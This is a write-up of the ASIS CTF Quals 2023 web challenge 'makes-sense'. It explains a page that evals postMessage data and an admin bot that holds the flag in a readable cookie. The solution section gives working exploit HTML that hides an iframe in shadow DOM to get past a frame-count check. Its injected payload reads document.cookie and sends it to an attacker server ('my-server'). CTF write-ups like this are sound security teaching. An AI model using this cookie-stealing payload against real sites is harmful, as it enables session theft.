ASIS CTF web - makes-sense
Overview
The task makes-sense was published on ASIS CTF Quals 2023.
The task includes:
a source code of the app and bot,
a link to a simple webpage called `target`,
a webpage with a bot called `admin bot`,
a meme that well explains the task.
Target webpage
The source code of the target webpage is short:
plz xss <script>window.onmessage = e=>(e.source == top && e.source.length == 0 ? eval(e.data) : '')</script>
Let’s analyze the code.
An author of the task asks us for some XSS. It is nice that the author straightforwardly says what type of solution to expect. So let’s do it.
The script has an event listener `onmessage` on object `window` triggered when another window or iframe sends a message. The function runs `eval` on an arbitrary code, but only when the window that fired the event to this webpage is topmost `(e.source == top)` and has no iframes in them `(e.source.length == 0)`.
If we can meet the conditions for a window we can execute JS code that we send in `postMessage` event in the context of the target website and probably read some kind of a flag.
Bot
As usual with XSS challenges, the other webpage has a bot to report a link. It has one functionality. We can insert the link and the bot visits it in a browser. Let’s take a closer look at the source code of the bot. In the directory `bot`, there are two interesting files:
`index.js` - the code of the above bot webpage,
`bot.js` - the code that reveals what happens when the bot visits the link.
Bot.js consists of:
a const `flag`,
a function `visit` and
execution of the function.
The most crucial part is inside visit function that `setCookie` with the flag. Now, we can clearly see that our aim will be to steal the cookie.
await page.setCookie({
httpOnly: false,
name: 'FLAG',
value: flag,
domain: 'web',
sameSite: 'Lax'
});
`setCookie` has a few interesting properties passed:
`httpOnly` set to false means that JS code can access the cookie,
`name` FLAG and `value` of flag,
`domain` specifies the `web` domain that the cookie belongs to. This means that we have to attack the `web` domain, not `http://45.147.229.128:8001/`. When we look at the docker file `docker-compose.yml`, we can see that `web` and `bot` are two different containers.
`sameSite` sets `Lax` value, so the cookie will be sent when the user navigates to the URL for an external site, but not for subrequests like loading an image from an external link or iframe with an external source. This will make our solution a little bit more complex, but let’s start from the beginning.
Solution
General plan:
construct some kind of object that contains the target website and can communicate with the target webpage via `postMessage` and doesn’t count to subwindow count,
set the server for our script,
read cookie inside the target frame in a way that is not blocked by `sameSite : Lax` policy.
To overcome the first obstacle, we need somehow hide our iframe, so our site passes condition `e.source.length == 0`. I just asked ChatGPT: `how to embed a page in a way that doesn't count to window.length`. It gave me five different suggestion and one was:
`Using Shadow DOM: This is a more advanced approach. With Shadow DOM, you can keep DOM trees separate. You could potentially fetch the content of the page (using AJAX, for example), and then insert it into a shadow root. This won't add to window.length since you're not adding a new frame. However, similar to the server-side approach, dynamic content or scripts might not function as expected.`
Basically, shadow DOM allows attaching an isolated subtree DOM element to the document that is hidden from most functions (like querySelector), but importantly also doesn’t count to window.length. Let’s code the solution:
<body>
<script>
document.body.innerHTML = '<div>';
d = document.querySelector('div');
d.attachShadow({'mode':'open'});
d.shadowRoot.innerHTML = `<iframe src='http://web/'></iframe>`;
let iframe = d.shadowRoot.querySelector('iframe');
let iframeWindow = iframe.contentWindow;
iframe.onload = function() {
iframeWindow.postMessage('location.href="http://my-server/cookie? adres=" + escape(location.href) + "&cookie=" + escape(window.open("/").document.cookie)', '*');
}
</script>
</body>
First we add anchor `div` element to attach our shadow element by `attachShadow` that contains iframe. This iframe can get a message sent by `postMessage` function. As the source of `iframe`, we use the `http://web` webpage we attack.
Second, find the `iframe` we just created. Note that, because it’s part of shadow DOM, we have to use `shadowRoot.querySelector`, and not `document.querySelector`. Then we access the `contentWindow` of the iframe to get its `window` object. The window object sends `postMessage` event that gets a cookie of `web` website that sends it to `my-server` server in http link.
We access the cookie from new window created using `window.open()`, because `sameSite : Lax` policy makes the cookies inaccessible from the non-top-level window (like iframes). Normally, when using `window.open()`, we have to be careful to not get our window blocked by the browser’s pop-up blocker, but it seems that pop-up blocker was inactive in this task.
We then just need to publish our website on a publicly available server (I use Vultr) and ask the bot to visit it, the cookie is sent to our server.
Happy hacking! Bye!